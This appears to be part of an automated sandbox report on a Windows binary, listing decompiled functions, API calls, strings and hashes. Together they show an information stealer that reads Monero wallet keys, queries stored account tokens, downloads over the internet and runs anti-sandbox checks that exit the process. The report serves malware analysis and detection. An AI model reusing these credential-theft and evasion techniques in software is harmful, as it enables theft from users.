Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: f5eda99e5df88005bebf4351a6454ea2136028867a56ded9ea49171bf435ac9e
Instruction ID: f8c9f962841549527e528082e8789f3b9357f0af8893482f4768f86608679cc5
Opcode Fuzzy Hash: f5eda99e5df88005bebf4351a6454ea2136028867a56ded9ea49171bf435ac9e
Instruction Fuzzy Hash: 68611AB59041689BDB24DB54CC85BDAB7B8FF44304F00C1E9E68DA6145EBB09BC9CFA1

Function 0087BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

Part of subcall function 0088A9B0: lstrlen.KERNEL32(?,010F89D8,?,\Monero\wallet.keys,00890E17), ref: 0088A9C5
Part of subcall function 0088A9B0: lstrcpy.KERNEL32(00000000), ref: 0088AA04
Part of subcall function 0088A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0088AA12

Part of subcall function 0088A920: lstrcpy.KERNEL32(00000000,?), ref: 0088A972
Part of subcall function 0088A920: lstrcat.KERNEL32(00000000), ref: 0088A982

Part of subcall function 0088A8A0: lstrcpy.KERNEL32(?,00890E17), ref: 0088A905

Part of subcall function 0088A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0088A7E6

lstrlen.KERNEL32(00000000), ref: 0087BC9F

Part of subcall function 00888E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00888E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0087BCCD
lstrlen.KERNEL32(00000000), ref: 0087BDA5
lstrlen.KERNEL32(00000000), ref: 0087BDB9

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 0087BBEB
AccountTokens, xrefs: 0087BB49
AccountTokens, xrefs: 0087BABA
AccountId, xrefs: 0087BCC4

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: ad9e23492c3f7b6c0b740f285b0c3ef987e3fbf39513be2651e1392d8ba64e88
Instruction ID: b164c78a9623224f28466f6ba4cfb86f3ced93782de0115ddf55d089760a630e
Opcode Fuzzy Hash: ad9e23492c3f7b6c0b740f285b0c3ef987e3fbf39513be2651e1392d8ba64e88
Instruction Fuzzy Hash: 65B10D719101189AEB08FBA8CD96EEE7739FF54300F404169F516E21D2EF386A49CB63

Function 00874FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00874FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00874FD1
InternetOpenA.WININET(00890DDF,00000000,00000000,00000000,00000000), ref: 00874FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00875011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00875041
InternetCloseHandle.WININET(?), ref: 008750B9
InternetCloseHandle.WININET(?), ref: 008750C6

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 3e3a174ff9147ac4befa921af24e4c381c32a33f7ac0ff1ae093145c957855d6
Instruction ID: d46303f4c54af4f8285228cb6e12abc6b3e0c768e477b2bbd6f41ab3fc17b468
Opcode Fuzzy Hash: 3e3a174ff9147ac4befa921af24e4c381c32a33f7ac0ff1ae093145c957855d6
Instruction Fuzzy Hash: 913108B4A0021CABDB20CF94DC85BDCB7B4FB48704F1081D9E609A7291DBB06AC58F99

Function 008883DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00888426
wsprintfA.USER32 ref: 00888459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0088847B
RegCloseKey.ADVAPI32(00000000), ref: 0088848C
RegCloseKey.ADVAPI32(00000000), ref: 00888499

Part of subcall function 0088A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0088A7E6

RegQueryValueExA.KERNEL32(00000000,010FE288,00000000,000F003F,?,00000400), ref: 008884EC
lstrlen.KERNEL32(?), ref: 00888501
RegQueryValueExA.KERNEL32(00000000,010FE258,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00890B34), ref: 00888599
RegCloseKey.KERNEL32(00000000), ref: 00888608
RegCloseKey.ADVAPI32(00000000), ref: 0088861A

Strings

%s\%s, xrefs: 0088844D

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: d465eb58e72e421c7f6cd948931420d9edf3621ec74bddff67f22c5bed132bee
Instruction ID: f724480fcc1716138c27b4034c315ce5f89ad5bd897309968dc3cf014172ae6f
Opcode Fuzzy Hash: d465eb58e72e421c7f6cd948931420d9edf3621ec74bddff67f22c5bed132bee
Instruction Fuzzy Hash: AD213B7190021CABDB24DB94DC85FE9B3B8FB58700F40C2D8E609A6181DF716A82CFD4

Function 00887690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 008876A4
RtlAllocateHeap.NTDLL(00000000), ref: 008876AB
RegOpenKeyExA.KERNEL32(80000002,010EBB28,00000000,00020119,00000000), ref: 008876DD
RegQueryValueExA.KERNEL32(00000000,010FE180,00000000,00000000,?,000000FF), ref: 008876FE
RegCloseKey.ADVAPI32(00000000), ref: 00887708

Strings

Windows 11, xrefs: 008876BD

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 066a17d722f05ad050400740137376981fea9aff29e46be03037c6f9375cafd0
Instruction ID: cdc97e17afdce6510e68df9e5c9ae8a9e4fa426dfdbe9b76ef06e93a8106e032
Opcode Fuzzy Hash: 066a17d722f05ad050400740137376981fea9aff29e46be03037c6f9375cafd0
Instruction Fuzzy Hash: 360162B5A04308BFDB00EBE4DD49F6DB7B8FB58701F108554FA05D72A2EA709945CB51

Function 00887720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00887734
RtlAllocateHeap.NTDLL(00000000), ref: 0088773B
RegOpenKeyExA.KERNEL32(80000002,010EBB28,00000000,00020119,008876B9), ref: 0088775B
RegQueryValueExA.KERNEL32(008876B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0088777A
RegCloseKey.ADVAPI32(008876B9), ref: 00887784

Strings

CurrentBuildNumber, xrefs: 00887771

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: c432a7eab93abed8d1666c7b402a8ec6d69f01afa5c220af8bbd745053c562e3
Instruction ID: aaede35a75278eebe7075b9522591f54d9d42e2cb2004a2261fb084b5f506c33
Opcode Fuzzy Hash: c432a7eab93abed8d1666c7b402a8ec6d69f01afa5c220af8bbd745053c562e3
Instruction Fuzzy Hash: 580144B5A40308BFDB00EBE4DC49FAEB7B8EB54700F104154FA05E7291DA7455418B51

Function 008869F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00889860: GetProcAddress.KERNEL32(76210000,010F14F0), ref: 008898A1
Part of subcall function 00889860: GetProcAddress.KERNEL32(76210000,010F1640), ref: 008898BA
Part of subcall function 00889860: GetProcAddress.KERNEL32(76210000,010F16D0), ref: 008898D2
Part of subcall function 00889860: GetProcAddress.KERNEL32(76210000,010F16E8), ref: 008898EA
Part of subcall function 00889860: GetProcAddress.KERNEL32(76210000,010F1718), ref: 00889903
Part of subcall function 00889860: GetProcAddress.KERNEL32(76210000,010F8B68), ref: 0088991B
Part of subcall function 00889860: GetProcAddress.KERNEL32(76210000,010E6418), ref: 00889933
Part of subcall function 00889860: GetProcAddress.KERNEL32(76210000,010E6458), ref: 0088994C
Part of subcall function 00889860: GetProcAddress.KERNEL32(76210000,010F1508), ref: 00889964
Part of subcall function 00889860: GetProcAddress.KERNEL32(76210000,010F1568), ref: 0088997C
Part of subcall function 00889860: GetProcAddress.KERNEL32(76210000,010F1748), ref: 00889995
Part of subcall function 00889860: GetProcAddress.KERNEL32(76210000,010F1598), ref: 008899AD
Part of subcall function 00889860: GetProcAddress.KERNEL32(76210000,010E6558), ref: 008899C5
Part of subcall function 00889860: GetProcAddress.KERNEL32(76210000,010F1730), ref: 008899DE

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

Part of subcall function 008711D0: ExitProcess.KERNEL32 ref: 00871211

Part of subcall function 00871160: GetSystemInfo.KERNEL32(?), ref: 0087116A
Part of subcall function 00871160: ExitProcess.KERNEL32 ref: 0087117E

Part of subcall function 00871110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0087112B
Part of subcall function 00871110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00871132
Part of subcall function 00871110: ExitProcess.KERNEL32 ref: 00871143

Part of subcall function 00871220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0087123E
Part of subcall function 00871220: __aulldiv.LIBCMT ref: 00871258
Part of subcall function 00871220: __aulldiv.LIBCMT ref: 00871266
Part of subcall function 00871220: ExitProcess.KERNEL32 ref: 00871294

Part of subcall function 00886770: GetUserDefaultLangID.KERNEL32 ref: 00886774

Part of subcall function 00871190: ExitProcess.KERNEL32 ref: 008711C6

Part of subcall function 00887850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,008711B7), ref: 00887880
Part of subcall function 00887850: RtlAllocateHeap.NTDLL(00000000), ref: 00887887
Part of subcall function 00887850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0088789F

Part of subcall function 008878E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00887910
Part of subcall function 008878E0: RtlAllocateHeap.NTDLL(00000000), ref: 00887917
Part of subcall function 008878E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0088792F

Part of subcall function 0088A9B0: lstrlen.KERNEL32(?,010F89D8,?,\Monero\wallet.keys,00890E17), ref: 0088A9C5
Part of subcall function 0088A9B0: lstrcpy.KERNEL32(00000000), ref: 0088AA04
Part of subcall function 0088A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0088AA12

Part of subcall function 0088A8A0: lstrcpy.KERNEL32(?,00890E17), ref: 0088A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,010F8B88,?,0089110C,?,00000000,?,00891110,?,00000000,00890AEF), ref: 00886ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00886AE8
CloseHandle.KERNEL32(00000000), ref: 00886AF9
Sleep.KERNEL32(00001770), ref: 00886B04
CloseHandle.KERNEL32(?,00000000,?,010F8B88,?,0089110C,?,00000000,?,00891110,?,00000000,00890AEF), ref: 00886B1A
ExitProcess.KERNEL32 ref: 00886B22

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
